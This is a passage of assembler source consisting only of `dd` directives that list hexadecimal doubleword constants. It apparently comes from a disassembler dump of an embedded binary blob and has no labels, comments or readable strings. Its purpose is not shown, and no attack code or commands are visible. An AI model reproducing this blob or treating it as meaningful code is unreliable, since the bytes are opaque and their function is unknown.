7F3AF600h, 4B126990h, 5C7078A1h dd 5F00F2FAh, 0B5BA5577h, 58E4DA40h, 0D2E0B00h, 0D179C9BEh dd 0A79E07D8h, 80145256h, 70168884h, 0DBB3EE00h, 0AE5C6126h dd 564B0B65h, 1800C4D0h, 1A2C6A12h, 0DDAC0200h, 0D7D77FCh dd 0F8112631h, 0D4B1C24h, 0E0881E30h, 720EE2BEh, 80FE244Ch dd 1F3D6326h, 212060F7h, 4C0125A8h, 0DCFC0424h, 0E6026A00h dd 3D3B78h, 0FF6291A1h, 0B3D4BB10h, 0F329CE02h, 55A2612Ah dd 4FC728C0h, 8149FE00h, 0AE6C2055h, 3D7A18CCh, 0A7EA187Ch dd 803BE93Ch, 51824DF9h, 14BC76Dh, 0C66F3677h, 0E47FC950h dd 0D6070D3Ah, 85231324h, 4D38DB20h, 0D09E64E8h, 0D472C053h dd 0DD0FC24Ah, 0A09210BDh, 39DB1C69h, 0FAB01966h, 20A1F8CAh dd 2500DCD3h, 7B75C1CCh, 0A74BDDAh, 0B2D537Dh, 0F37A4390h dd 291C40A4h, 1CC795DBh, 80BA1AEEh, 5EF5E451h, 2EE60B6Ah dd 41911300h, 1B4C462Fh, 354300FCh, 864A2210h, 0B500A6CCh dd 0CFBD24E3h, 0F5D830h, 0BB2627C5h, 48D76DFDh, 39008B79h dd 9896CAAEh, 769A69h, 9DDA6AFCh, 364B7DA9h, 0F53B3E00h dd 0CACE4611h, 0BA8103B5h, 456184C2h, 0CD579DC8h, 37DE8200h dd 5A667114h, 1F6800F5h, 3CFC383Eh, 550086D3h, 0E619223Dh dd 3D94F8B7h, 5F00D9CCh, 51AD44E5h, 811FCA2Bh, 0E2401672h dd 5CE1A8B9h, 9E830031h, 22C9D6Ah, 0F3009881h, 3BA555D5h dd 0A82FEFh, 45A7F6DCh, 8038B0E5h, 0C5BB861Eh, 0E04E7B0Fh dd 32D19BACh, 0D5E50043h, 0AD5D935Ch, 4D00CC2Dh, 68977848h dd 3208F35h, 0E0AB95F4h, 5FEF6138h, 302ECB00h, 9600552Ah dd 1CF93D7h, 3A02E27Fh, 0BD02E44Dh, 0AEC6D1E6h, 18E1D860h dd 6846F730h, 7EFCC6Fh, 43C1231h, 643D103Eh, 50001EBBh dd 0FDB80229h, 0C9AED81h, 9EB3AAECh, 2E18D5C0h, 5FE0E19Dh dd 0A82518F5h, 0CCF211B7h, 59B4E71Fh, 0A37FFDCEh, 0C8BF2D31h dd 1C9BA43h, 8405FB39h, 61D0CC71h, 19D4EC6Fh, 29F42A05h dd 0EFC09430h, 0F1AA5h, 0D2BF91DDh, 3E806549h, 0CE4FC500h dd 0D401C99Ch, 0EF0B0A72h, 1E6B3D7h, 990EEB5Dh, 1A1EBF8h dd 0D02080E9h, 6805AD06h, 7228FC1Eh, 0A99000D5h, 0C2C1A58Bh dd 58003872h, 26C05D9Eh, 0CFD2C3B4h, 30836838h, 0FEE0609Ch dd 0E2001C7Ch, 88EDFFE3h, 15510B6Ch, 44C2E7CEh, 3BAC0A01h dd 0CE9D568h, 9245891Ch, 8300F0A8h, 176537FEh, 43BE05ACh dd 0F10CF3h, 6D6ECF3Ch, 30602875h, 0AA0DF411h, 1EDAE6AEh dd 0DD4FCB2Eh, 21391831h, 0DB00E482h, 3665F467h, 0F061ABA4h dd 0C5A944D2h, 74A2B800h, 0F7AE7A98h, 0E3EF03C3h, 0FB4C3B06h dd 0FE9A0E03h, 0C8F42386h, 60DC0870h, 0EE7A18FDh, 0F5045C9Bh dd 0F81D3552h, 586D6C00h, 7C60F296h, 0C2AE13B8h, 0E35000F6h dd 11EC732Fh, 7E006899h, 0A9708EA4h, 0D7613Eh, 21150838h dd 0E25E4F58h, 0EF9B9C02h, 0F7E344BEh, 118F6B06h, 0F20458EBh dd 10C0E598h, 0B6F62FE2h, 7C2000EAh, 37DB2668h, 2100F9DAh dd 7F58CE0Eh, 3B18CB2h, 0A1DDBCBEh, 0A6F0B779h, 9300AADAh dd 484E8453h, 0A87E81h, 2F7D4194h, 1AD76E16h, 0FFF13C00h dd 9545E8Eh, 0A7E02C01h, 88803E03h, 862F29Bh, 9301F496h dd 2619B14Fh, 0A8D35EEDh, 7BD353h, 0AF7D7FF2h, 95C64C5Fh dd 0E941D01Ch, 0A1018AC0h, 0D21947h, 0CACD3B8Eh, 9BB30A13h dd 0A2E16700h, 81A75DBEh, 38C600F0h, 2587C851h, 98016968h dd 220563CBh, 2DD0351Fh, 5EE40011h, 7C6BCE12h, 0CB3E04A9h dd 7D23C2Ch, 1E0BC226h, 12A0AAE1h, 7358C8h, 0E3CC7457h dd 98641D3Ch, 8E2E7000h, 0B6BCC95Ch, 0D58B00FCh, 495AD31Ch dd 0D600DC50h, 9CA55DB8h, 24F877h, 0BF1E87F2h, 4743881Ch dd 51E75400h, 6B2B1F11h, 0A04C0132h, 35D518FBh, 2B2D219Fh dd 7FA5DB0h, 1B598936h, 0B0F26788h, 730D83FFh, 8D129F15h dd 0F53200F0h, 655B8BA4h, 1EBD00E6h, 3CE0260Fh, 0BA0E75EEh dd 8078B84Dh, 0DE6D5FB1h, 2A030008h, 231D1FD9h, 0E001F910h dd 0E262D790h, 0DDD83DFDh, 0C9CF044Ah, 9155A7B4h, 0FB5D1824h dd 57C03ABBh, 284B51DDh, 0D8347FC3h, 3F7BD164h, 0BE00ED37h dd 0A64AE530h, 9700C9D6h, 0AC1F89B5h, 1453EEh, 304F560Fh dd 0AB57074Eh, 0A823441Ch, 22AE1800h, 0F416606Dh, 40C8000Ch dd 0EBCF840Bh, 9800B7D5h, 0C46962E0h, 0F6C7301Fh, 0E93400CDh dd 0D4891380h, 18008F2Ch, 7ECBB6BAh, 77723315h, 0E4F4008Ch dd 0DF1D0EADh, 13004695h, 2BCBD9F3h, 5FE6AFh, 0F0E04308h dd 68D463F9h, 0E323D100h, 30BBED79h, 0C8E90015h, 0EFC448A6h dd 1E0055C9h, 4CD22610h, 6D46AEh, 0B79C6EFEh, 38FC5C1Bh dd 77985050h, 0FB02EE1Ch, 0B07DE203h, 0C3E68079h, 33FC0782h dd 30421719h, 9457B622h, 10C438h, 0E737C6DEh, 7E4AEBDAh dd 0DC06005Dh, 3152E867h, 4B005589h, 8EAB253Bh, 0EADBA2h dd 0FDCE2FD4h, 0A3544857h, 45F9E500h, 7E2D028Ch, 58551C40h dd 0EE89C006h, 32594D01h, 0FC5AF200h, 0F7467561h, 55A000ADh dd 6D239151h, 4D0E9B04h, 0C03B5984h, 0F9EF4B79h, 9A5300B2h dd 9533A724h, 0B402D1EAh, 3E217B6Ah, 0A82443DFh, 1C513D22h dd 649383BFh, 18470058h, 78D11524h, 0B19E0808h, 0F9FF808Ch dd 6AECA5D2h, 0C14B39h, 9A84ADB6h, 7B16F35Ah, 171B00E1h dd 7B530918h, 8200B2FFh, 2178F803h, 7F473C6h, 0E6E79DA5h dd 9CB7C0F5h, 2A00F7A3h, 4AF9514Dh, 1AFB035h, 2DB179C1h dd 83E07243h, 0C4E28EA8h, 9CFE8D4h, 6623078Fh, 0B035B8A1h dd 9C67393Fh, 1C464E00h, 1365BE6Bh, 5A80006Dh, 0E5C8D044h dd 94000E24h, 5C70EB37h, 0C1B2CFh, 0A88A4CF9h, 0BD624391h dd 0D07B3D0Fh, 0E822200Bh, 9D6845h, 65D4D263h, 17744ED5h dd 12D79A00h, 1BEF5F3Fh, 0BBDF3DA7h, 0D67B2800h, 76C032C2h dd 0B2F2D200h, 51D8A3EAh, 92EE0084h, 663AA805h, 700F009h dd 0FA703069h, 5CDBE5E9h, 5C24CBCAh, 0B4AA14D4h, 0E4410D02h dd 9D602CA6h, 0EC0032B4h, 0BAC9487Ah, 0E6DC1EFBh, 71769Bh dd 37331FA1h, 0A7FCE3CBh, 700DD70h, 78561798h, 8D3EC5h dd 0BB2E981h, 86A09946h, 0AE0C5001h, 4776332Dh, 1845D8h dd 4321D9E1h, 0F1FFCE77h, 0EE4723Ch, 3222373h, 887AA6BAh dd 0E4AF2445h, 7C3A001Dh, 0B5663BF6h, 47711C5Dh, 626AD604h dd 18974265h, 0F6608670h, 7E30005h, 0DD189D2h, 0FB149DF0h dd 0C0F5EDh, 0C60F5AF3h, 0ED41105h, 22081B97h, 0A45ED781h dd 58108090h, 1D5533DEh, 81FF09D0h, 54008DE1h, 7B2A3D84h dd 32FB2D00h, 27B3FAD6h, 13F800B7h, 734E7E52h, 5114D16Dh dd 0ACEEEAh, 0CDA4C240h, 988119Fh, 5D0F3D16h, 24AD9D00h dd 0BCA0ABE0h, 9700C393h, 1280E2A0h, 9D9465C0h, 0C87B22D8h dd 13A9D39h, 6EEE6B3Ch, 28FC87BDh, 442036Fh, 0A49FA98Bh dd 7253D6E8h, 0D0B3BCA1h, 8E76DDAFh, 5523000h, 0C37E440Dh dd 3F1E632h, 0FE1846D9h dd 258840E5h, 0AF007439h, 0EC7068E2h, 1A908B2h, 914E4351h dd 0CCE0C259h, 9C03C82Ah, 0AA3EF392h, 0B722F8CFh, 662600D4h dd 2E06318Fh, 0CCF6EA24h, 0D7175900h, 0CD8BF41Dh, 5CD200B2h dd 3E403525h, 793F6AE1h, 0FEDF000Ch, 870DD71Ah, 28271F22h dd 956B40E7h, 0A2BA0790h, 0D65C3F00h, 0D02E2FEh, 2E6F0020h dd 3A628E3Bh, 6600A331h, 1143E4A7h, 83D360h, 0D188BAC7h dd 122DCD8Ch, 8E5AA801h, 6B9641A1h, 7746B420h, 30D40083h dd 33448D0Eh, 0B200DA69h, 4D97900Ah, 236CF9h, 9D1DE1ACh dd 0F4B72FF0h, 0FEA5C00h, 52A5BDAh, 59C40064h, 0E674BE15h dd 0C0000B3Ah, 0A701F952h, 2BAEE0h, 7ED48E62h, 7456AAA0h dd 9FF170h, 6B6A869Bh, 922600DCh, 2EFE7A1Ah, 0E7031DC0h dd 0BDBAABA9h, 5467C0FDh, 5D57003Ch, 0D0653325h, 70909326h dd 0CA20B00h, 0E8A6702Dh, 8E8B016Bh, 0A710D040h, 0B029FC97h dd 0C0E8484Ch, 2E1FBC28h, 0B04E74D3h, 0E287000Ah, 6F25A7E9h dd 0C300DD8Bh, 0F145033Ah, 0ECE80DCAh, 10F961FAh, 0F0E3085Ah dd 0C2265C19h, 0E985C85Eh, 1C87D281h, 0CE835180h, 84403A9Ah dd 13D69C02h, 66C03461h, 470050F1h, 4C9BA094h, 0F0350Bh dd 0E2CBBBBEh, 0C2C8EC3Eh, 400150D3h, 0F443CA4Bh, 336B2082h dd 0E848FDDBh, 2903D783h, 0D2E69823h, 82EBE805h, 0C581C018h dd 66DA7BA8h, 7813630Ch, 0C05D1928h, 5C2F44B0h, 0F90088A0h dd 0ABFBEBE9h, 3F7526A6h, 0AE80E8F8h, 2D2ACF69h, 6800C2CEh dd 2F9E8FA0h, 0F0E17B5Eh, 0DBFD00B1h, 0E4EEE3B2h, 0F91D6469h dd 86839414h, 0B77FD16Eh, 0FEA40200h, 713B0004h, 6754A9B0h dd 6E009023h, 763A1F55h, 27A708h, 0A6BCA5C5h, 5E78F54Ch dd 3228301Ch, 71537203h, 0D0B7D1C4h, 2577C180h, 66312709h dd 0E1C7F800h, 92D14654h, 0AB5EA41h, 0A6BB6EC2h, 2C1085A0h dd 5030E066h, 5F851800h, 8B208411h, 0EED7E030h, 67CC1704h dd 28380336h, 0E9A32D7Eh, 0EB4400Ch, 2148BDh, 0A0ECEDDCh dd 1C9497E6h, 0C2F84E01h, 5EE92CB7h, 19D5060h, 576178C0h dd 70BB51FDh, 72035B98h, 9FC4B902h, 0A7E5A0D5h, 2B381EAAh dd 35FA8E82h, 0CEB10400h, 0D1071CE2h, 0C0EC6A21h, 0A87DBD80h dd 0E3F42428h, 0F1003C2Ch, 0C516C492h, 0C67C43D2h, 0D9AC6F01h dd 0DB87EB85h, 60F99050h, 50489276h, 1F6011h, 1B5BF7DDh dd 0C4172527h, 37367607h, 0BD7061DEh, 2ECAAAEBh, 817CFDB4h dd 0C7758D65h, 0C0B0CBFFh, 88B0EE63h, 60E9D600h, 0F2BA94BBh dd 509B00E7h, 0A3B76AEh, 0B0C0EA33h, 0A6178C85h, 0E8610073h dd 6321EBD0h, 450A327Eh, 434FF16h, 89C3087Ch, 1C084222h dd 4C70D746h, 3E1700BCh, 597E93FCh, 5F0F6C6Ah, 8040D310h dd 0A2E5AC7Ch, 471130A1h, 15DAB930h, 0CD07BA77h, 4E682E82h dd 1D8B08C0h, 0AA3B0094h, 4552D876h, 202BD2Dh, 0A1965192h dd 0CB0448ABh, 9D410023h, 9AE22F54h, 9C007B43h, 903994B9h dd 150C3Bh, 876018C2h, 0F8AEC101h, 58B5D3Fh, 2C46D395h dd 0C089A481h, 0C7FC5081h, 0F43A7A71h, 64F46169h, 8058DA39h dd 0D6D89E30h, 6BC1B6Eh, 8F484639h, 0B453F08Dh, 9878120h dd 0C10859BCh, 0BF8D38h, 9C3BB886h, 0DEDFDCCh, 4495FC07h dd 0C2E6E0D0h, 0C133A8A1h, 9EF3E03Ch, 74AD9A1Ch, 2BB9FBC0h dd 1B9D55F5h, 88664158h, 763A3827h, 0BD6400EFh, 333F721h dd 3065E3Bh, 3842DAD6h, 28597CE3h, 0D88A09h, 0A5A7B23Eh dd 4D43C51Fh, 99F83100h, 78AFF08h, 61D3072Bh, 10A348AEh dd 2F94F405h, 0A113B800h, 0F6F9CBB5h, 0A546038Dh, 1ACC79C2h dd 39EA6101h, 0AB2F0DD9h, 9C92891h, 2745E4C3h, 0F11CDC14h dd 0CC29009Dh, 0E098158Ch, 600B858h, 5F4578A8h, 18D55236h dd 8874E3F3h, 8CFA98C3h, 24F6BE00h, 70C13815h, 0D112634Dh dd 2900FC7Ah, 2CA99C89h, 3BBA84D4h, 498AAB5h, 26C4D12Eh dd 0E63A7E00h, 23051691h, 0BB770012h, 2B7A5D83h, 90090C1Dh dd 12D51103h, 37C40654h, 0FCCC0FE0h, 5C80065Dh, 3295C934h dd 3B5613Ch, 60BFF69Eh, 151E90CFh, 0CBBD067Ah, 0F686E96Eh dd 809AE82Ah, 0AD54427Eh, 79FA7298h, 5A2D5300h, 46AE94E9h dd 31433054h, 0B9A1E621h, 0BD9F7012h, 97BB440h, 77E071C6h dd 2812FE51h, 20541DD5h, 6200C1AFh, 490835E6h, 17B91F2h dd 8F57A2DBh, 2588AE28h, 0D751A68Ch, 38139930h, 0DE5E00F2h dd 104C836Fh, 0E51CAAA1h, 0CC40B6BEh, 98AD3E82h, 0D7E6010Dh dd 0AF398812h, 9A66DC6Ah, 74C0F627h, 0B5270131h, 0E4216FE5h dd 83F79B60h, 0F9DB7570h, 7A80A43h, 42DC0E68h, 8A2FADD7h dd 9D3D7476h, 3A10CBB0h, 310A3518h, 49032DC3h, 0E512B6BAh dd 0A077DAF3h, 9D6CA1FCh, 0D091810h, 2C3C5049h, 7D25BC01h dd 90DFF482h, 0E4BD1980h, 3A8DD6F6h, 48600C00h, 96E9DE21h dd 992A00ECh, 5E5FFD9Bh, 823151C6h, 61B0C136h, 189F5442h dd 0F01D38C7h, 47C35283h, 3E69B5C9h, 0C280E928h, 2C3A3371h dd 9A02DB68h, 8742BDB8h, 0F99C6881h, 0D993F1E5h, 546C20DCh dd 593EC079h, 5D6E805Eh, 2165BCFAh, 61203F4Ch, 41A22598h dd 3D44E4E6h, 994A1FBCh, 37F54711h, 10BFA7D2h, 906B58A9h dd 4C1C7C0Bh, 33468077h, 0FFD4EA06h, 0AED6D04Ch, 2C0544B8h dd 0C7063100h, 3EC6FDD5h, 0C081060Bh, 7953EAB7h, 0BCE70C0Fh dd 158B8044h, 98491467h, 17A51C8Ah, 0E631C0CFh, 813FE965h dd 69FF0B09h, 0BB58201Eh, 79C27BD6h, 46AB00F0h, 990E5D01h dd 8212FF7Ah, 0F8307706h, 0A7BC1EEh, 4BBD1398h, 8A6483C4h dd 0F29B29FEh, 2A6626B0h, 83AD5B18h, 757D6D21h, 7EFF00C5h dd 0CBD2E4D5h, 520FE6CDh, 20894CFCh, 0AAD8C213h, 88EA9Bh dd 0F3E969A4h, 545DF98Ch, 0C4E44024h, 5594B140h, 0ADBF01CAh dd 7937CCAAh, 23D8885Bh, 51570E82h, 41F93118h, 0E94C24FDh dd 0D8DE4E00h, 5DF73D68h, 0BE070F12h, 52825A17h, 0A4A130EAh dd 0C81AE058h, 9100A350h, 0C605D0DFh, 526CABCAh, 8041D46Eh dd 4CC3D40Ch, 0C6C82CE5h, 60C1AE42h, 8037F4CCh, 300AB64h dd 320F3054h, 0A74A36h, 8CE2C975h, 0E964EEAFh, 0EAC94760h dd 80BD5070h, 0AD003C46h, 0F824EB01h, 163177A5h, 1F40255h dd 9D5007A4h, 78E8A459h, 12BCB615h, 504F67FDh, 3166A086h dd 0B283D2h, 9E5D7F5Bh, 0BC8FEC1Dh, 0B5E0205h, 0F432757Ah dd 2EEC6123h, 0A3B94040h, 0E9E81878h, 633FE951h, 9C710AEEh dd 0B1D17E00h, 9BE1C2CBh, 8A7718D9h, 0B5D29160h, 97220085h dd 0D8EFCF2Eh, 0FC8338h, 534A784Bh, 0A959D98h, 0AE7152C8h dd 9CE8D0B8h, 60076A24h, 0A0DF0180h, 1ED4A1EDh, 0C752576Dh dd 50547848h, 0FD0C2BD9h, 0BBF4F201h, 2CB9B10Dh, 0C675130h dd 8B6505D5h, 5600FBD0h, 9F33B417h, 2812F28Fh, 42C82084h dd 0DD05154Bh, 0AD1105E4h, 43874407h, 0D95A8A70h, 0ED0F01F6h dd 0D30C5485h, 2832EAh, 1F457314h, 0E82F9F3Ch, 0DC2A008Dh dd 0CE231DAAh, 3477ECDAh, 0F8C56C2Ch, 2601C021h, 42F34E8Ch dd 0D8166022h, 30DA1374h, 9CBE37C4h, 9F79248h, 0A9177E13h dd 24388E5Ch, 748212AEh, 1D44466h, 10D02304h, 341105D8h dd 0A3002E2Ch, 0F360C6BEh, 1E4B1CBh, 0B6B8BC54h, 23670F75h dd 70EB00C4h, 4D156D6Ah, 24BC90CDh, 8074EECCh, 116B1928h dd 210BFD20h, 1AC6F93h, 8BFF3290h, 1D006436h, 4E495FDFh dd 9D126F71h, 200BF537h dd 0ABB8AFBCh, 526C100Ah, 3A6B0335h, 0C2142EE0h, 16646298h dd 7722800Bh, 0D7BC9008h, 60E4F2F9h, 0CAD89896h, 880A07F3h dd 0F0660308h, 0D2690287h, 0E0471AB0h, 136400F6h, 8E5CEB9h dd 3C987EE3h, 18A02CFEh, 0B755DB7Ah, 0BE4DF1A8h, 14EA2EA1h dd 31C0E802h, 0FA404823h, 60201DA1h, 0BA80BBC6h, 0E6ADEEA8h dd 9D2C4AC4h, 1F1E60B9h, 751A94C1h, 398B2666h, 0A8103F3Ch dd 8D0270E2h, 0B24D3409h, 0EA28C6D2h, 0C4601355h, 0E15200C0h dd 0D731EEDEh, 0BF6FFF01h, 0FD4C2C4Eh, 46068342h, 0F0CC5C20h dd 82A6FEC3h, 0B0640E98h, 0F5798600h, 6F4FF705h, 0A1B2026Dh dd 9AA72423h, 0C0385CE4h, 3333D0Eh, 0A4B0554Eh, 60F40BF3h dd 0C42545FBh, 378CB09h, 0BF344FB5h, 662EF8A3h, 4C640293h dd 5A87514Dh, 0D9A2C8E0h, 4E04B201h, 705537Ah, 0ACBE8050h dd 0F2A0027h, 0BB963437h, 9C04B281h, 0E0E5D4BFh, 0B4FB3490h dd 0E36D0EB5h, 91208425h, 4858166Ah, 4F8E4C05h, 0B4453B51h dd 0A04439DFh, 97C0E335h, 34B781h, 33AA8FC9h, 4EB484A1h dd 1CC8172Eh, 0D2121A60h, 0D0008264h, 0D7577569h, 0EAA1F107h dd 4525F89Bh, 0B06240C5h, 2684A323h, 3CEFC0A3h, 6D0D008Eh dd 239E421h, 0B60A0BCh, 0B681A9E9h, 0AAF4072Ah, 0D990A16Bh dd 0DC834012h, 0C82E9A4Ch, 150A8A6Ah, 0BB40506Fh, 0FDDD99Dh dd 0BCF98792h, 459AC3C0h, 730FFC20h, 0B8EB1D11h, 0CFA0F9h dd 0DBBD5A3Dh, 0E6A4943h, 0B5B0F962h, 0D69F0042h, 0C50184A2h dd 78BDDAE7h, 0B4360EE5h, 0E74A513h, 0A834E494h, 0D782F180h dd 52E4CE8Dh, 0D6980100h, 0A64280CAh, 544D3F70h, 91A13A85h dd 0C8118137h, 9278BB14h, 5034288Fh, 42707087h, 0DF03C8h dd 0EDB4A712h, 99F5BC64h, 0C4B98A7Ah, 94098039h, 80781F76h dd 833E17E9h, 81835C0h, 6D8011A4h, 73A6FF7Eh, 0F89700F7h dd 0EED39DCFh, 0C052F03h, 260ED56Ah, 0A2B50082h, 207BA174h dd 972CE89Ch, 0B1ED1700h, 70B9AA76h, 210D2402h, 621609E4h dd 60136405h, 0E2A3DECCh, 10277700h, 64CC28A7h, 0A96F0B56h dd 0B490AD6Eh, 9600DA78h, 0D2678D18h, 1457B722h, 0D04D3F0Ah dd 2A4A12h, 51A39628h, 900008DFh, 9B74A21Fh, 48A526F3h dd 540B1042h, 8892E938h, 0AEEB6C60h, 9DB90160h, 5961C7C1h dd 0CC009431h, 0A195DFE1h, 9902E5D9h, 6B140277h, 25B46653h dd 0E0A3030Fh, 0DB989A6Ch, 510739D6h, 41389D40h, 0B3541FC0h dd 1D643F14h, 0FF3D9085h, 0DFD08CAFh, 0FB87B894h, 50B0E860h dd 0EED9647h, 0CF82C166h, 0D066760h, 2CB343E0h, 0E7A5405h dd 9C2C681Fh, 39E35241h, 0D268C0h, 0FDC601B6h, 0FF06595h dd 0D8A3E528h, 912351Dh, 93494466h, 1094F0D0h, 13CE001Fh dd 7F1E90DAh, 5500CF2Bh, 96FC067Ah, 4D320B8Bh, 6815FC99h dd 0A3008008h, 856A80E8h, 0CD2B6910h, 72009452h, 0DC1B4564h dd 9479E889h, 31F9924Ch, 35C642BCh, 0C4CCF2BCh, 98945419h dd 58220319h, 0E2AA7700h, 0B75BFAB4h, 0FBA76800h, 3CDCC3E4h dd 698494DFh, 645B3418h, 0BCC5B900h, 5A2848FDh, 0AE670065h dd 0C34C4345h, 0FE5CF2F7h, 0BE474DDh, 18B18F0Bh, 3C308887h dd 0B8F47A05h, 0A309708Bh, 10C0FAA1h, 61006A81h, 0BFF74526h dd 38BB3Eh, 6B1CB9A2h, 7BD60A48h, 8024A0A1h, 26F23C99h dd 12220970h, 40CD778Fh, 8C3F75A8h, 0A4982CE6h, 836EDB09h dd 4850002Dh, 50CF7E7Ah, 94A4A40Ch, 8CA761D0h, 729C32A1h dd 1B927300h, 0EC56ADDEh, 0F5D814B1h, 1680DC3Ch, 0FB9E685Dh dd 584D700h, 0E49C7AF6h, 384030DEh, 8E166778h, 9BA57940h dd 23FD16BCh, 16D80330h, 157473CDh, 14614605h, 0AC067917h dd 0E96FDEh, 3334CC53h, 0B5E68560h, 0FD061A03h, 888ADFEEh dd 0A08F1B0Bh, 7023CB8h, 9FCB4B8Bh, 0CC2FF213h, 0F812284Ch dd 10CCEBE4h, 0F1390084h, 3AD3F236h, 0D900952Dh, 0A072A4C8h dd 0CD7A5Ah, 0B8FD7164h, 7670E936h, 18B5920h, 112841B9h dd 65846665h, 0C81BC860h, 9692241Dh, 0F1065AC0h, 2F88397h dd 3E3A132Ch, 8CB1A337h, 0D03D35h, 0D3A8C00Fh, 2499FA88h dd 0CDEEBDh, 0ACFEF43Eh, 6A004E0Bh, 0C852ED7Eh, 0D67C32h dd 12D1E7BBh, 78199A2Ch, 686EAE1Fh, 24E94E40h, 0C263B1h dd 0FBA99FCAh, 0E071FC89h, 3935E500h, 4D5077E8h, 78CC3E08h dd 0ADD54C7Bh, 0C4992A00h, 38759DA1h, 68182B7Ah, 78486150h dd 767100BCh, 9F571305h, 47F89E79h, 0F20B9576h, 87C6CCDDh dd 0CBF0F9F8h, 7506766Dh, 9E7800ACh, 0A7A6D8A1h, 8C00B7D1h dd 0EA5FFD86h, 1DC52FDBh, 0C6BAF8AEh, 0BCFE7502h, 6DFD3401h dd 0C882B61Ah, 7A664080h, 1C703C16h, 83175E00h, 13423F54h dd 2B740012h, 26C232C0h, 49006CF0h, 0C83B63CDh, 6AB92C1h dd 0CA718A19h, 0AC052181h, 0AAA3BAB4h, 18669040h, 1459D8h dd 98020795h, 6505D778h, 89EFEA06h, 1C2860CDh, 409F2CE9h dd 0F4C41774h, 66002085h, 14E7952h, 0BE03054h, 9CA3350Ah dd 61A94106h, 0A0094F2Ah, 0AFA90250h, 0AB291700h, 6E08C75Fh dd 0F472005Dh, 9741632Fh, 0BC0DD678h, 79CFE8C5h, 0C61EC68Ah dd 0E7AD0784h, 7F194C7Bh, 7F07BD44h, 0E6360AA4h, 0C0885E4Bh dd 7AE02C54h, 61A8E205h, 0DC406957h, 0EA2A2D4Ch, 0D9A51FDAh dd 7150580Dh, 3E3DF578h, 2EB50021h, 7C5A237Eh, 0B7E708CBh dd 0C400CCEFh, 0A6C7975Ch, 1253EED8h, 4AFCD592h, 8EBC1920h dd 5D72B56Ah, 0DDA58000h, 0D6580430h, 0EA0680FFh, 7DB5348h dd 13FFE5Bh, 68615236h, 6157EB17h, 0BFA8801Ch, 0FE516F50h dd 0DEB70760h, 80E3E96Ch, 3061A95Bh, 0B618250Ch, 53D99F0h dd 0F97E476Bh, 0D2C02086h, 0BA00DFAAh, 36EBCE1Dh, 0C5788Dh dd 6CAE5808h, 27C317CBh, 0B09B8203h, 3E18F2E7h, 7C2452C0h dd 0DEF7C02Ch, 4773927h, 41D0AB1Fh, 0C042968Eh, 6DD8BFB3h dd 0F5F0D7h, 263AC2C5h, 48CAB07Bh, 0DF007E74h, 9C8E1A2Ah dd 0C0B5ADE9h, 151C4C10h, 0BD0069A2h, 373B8878h, 82DECDh dd 554F181Eh, 0B7EFF812h, 1DAE1500h, 80397BDh, 0CDFF007Fh dd 0D6E1780Fh, 0B70069F9h, 81A996EDh, 1BAFCC5Ah, 802C0DFEh dd 90E431E0h, 0F953DD07h, 194311F3h, 0C592C08Eh, 0CC0D0C78h dd 7B90B255h, 0BD26EE0Bh, 0C6290038h, 0C94A8A0h, 258A5BD7h dd 0F2297150h, 74067CD1h, 0E07CFFh, 36A9E555h, 334FD994h dd 0CA199B03h, 9B35F032h, 0AEA6E0D6h, 658800CBh, 0D9DBB493h dd 0C86EE077h, 61B2A041h, 436AE5h, 335A5B13h, 0D8579FCCh dd 0ED1BA1C0h, 6034D704h, 32FF918Bh, 59012344h, 0C81CF9CFh dd 0F8802781h, 0ADAA492Dh, 75FCC4D7h, 22001578h, 1CEEE58Eh dd 0C5B0AC7Eh, 222E1779h, 8E20E068h, 0F39986Eh, 387D8D95h dd 0D560C2DCh, 0E0A0B632h, 0F708AB1Bh, 58946C01h, 1F3E5549h dd 0FACCD840h, 2AD0A690h, 0E4C843C7h, 99B90087h, 4CADEAF3h dd 0D7EA9414h, 42986F00h, 0F0EDE66Bh, 0DF890012h, 0CC06990Bh dd 0EC01E126h, 0E348AA33h, 8851CF4Dh, 0DC50B353h, 2811D90Dh dd 3D0723Dh, 0D6E4C01Ah, 52E89B47h, 0BA05B74Fh, 0C9D9F52Dh dd 0BB7FBC02h, 2FB222B0h, 4DCA8098h, 0FCC470A0h, 0B82DC630h dd 6055D0BFh, 66527156h, 950EB494h, 20FFF96Ch, 8108BFB9h dd 0EA26012Eh, 0A160A082h, 52D44188h, 16398024h, 44AE727Fh dd 0B4F705E0h, 0C0142539h, 0E3B75C77h, 3A403660h, 6828DE8h dd 190DB2B8h, 1A0391ABh dd 0CCFCA545h, 3257D939h, 267C28C4h, 517614h, 0BB6D35E8h dd 0C20DB3ACh, 798434DDh, 378A0EEh, 0E64AED3h, 5F7E0470h dd 0E7E1E0BBh, 446980ACh, 950DE959h, 0F4CA0015h, 71C1EC30h dd 0D612B9C5h, 0A062C7EBh, 4CA0B8B4h, 7E1B88A8h, 0C6749A09h dd 0C1880048h, 72A68D30h, 5938C008h, 0AFD887ABh, 5ADDE4A0h dd 0C6C6149h, 0B1F9AC6Dh, 307E1FCAh, 0F319C0A6h, 7D3BD4BAh dd 750F0D0Ch, 4AE17Ah, 656D9254h, 0B72247C8h, 0C09DCD00h dd 933455A6h, 0F8C74B5Ch, 4B097F0Ah, 270CFDABh, 56B2BF48h dd 0CA84788h, 0CB615B57h, 0F70E6F0Fh, 1B81809Fh, 246624DBh dd 1118560Dh, 185228ACh, 39C57600h, 654730Fh, 3A1F0F8Ch dd 0C01C3001h, 0D5452F35h, 0DB48C1F9h, 51CA85D8h, 9BC4240Fh dd 95181091h, 30FE89B1h, 1607F48h, 32500106h, 42C5D19Bh dd 0F6119AB0h, 59110827h, 77100420h, 2E057FD6h, 5D2A80CFh dd 0A31D713Ah, 5F406709h, 504B1DAFh, 215E8D1h, 0DB12BEF4h dd 0E0648405h, 0B1033779h, 0A46325B8h, 118BD8E1h, 81C700E8h dd 0DB01557Dh, 0C249CB42h, 0AE198618h, 996B0041h, 377185F8h dd 9D00FA45h, 5FF576EAh, 612A8EDBh, 34A73084h, 0D85C5223h dd 0CB718320h, 0BA3B2E9Fh, 0DAFA00F1h, 2EC066E5h, 632C1C7Eh dd 0B7913819h, 89FBE10Fh, 8DE79901h, 29E5EF7Eh, 88BF6094h dd 0E5010892h, 0EF18CBC5h, 2E30BADBh, 8D9B0028h, 0CD02D866h dd 97A34C7h, 6ED7D300h, 476AB90Eh, 0E7A1C6D1h, 271F79B3h dd 6007C7Ah, 121EA4E5h, 0F157078Eh, 0D087835Ch, 8959FC4Dh dd 182765Ch, 8E21C28h, 20801B88h, 9FA7E80Ah, 0FE0612B3h dd 0B5EBC46Ah, 4BF030h, 0A145B44Dh, 0F8BD1982h, 99F42900h dd 0EC341036h, 0FB28017Bh, 5CEEF93Dh, 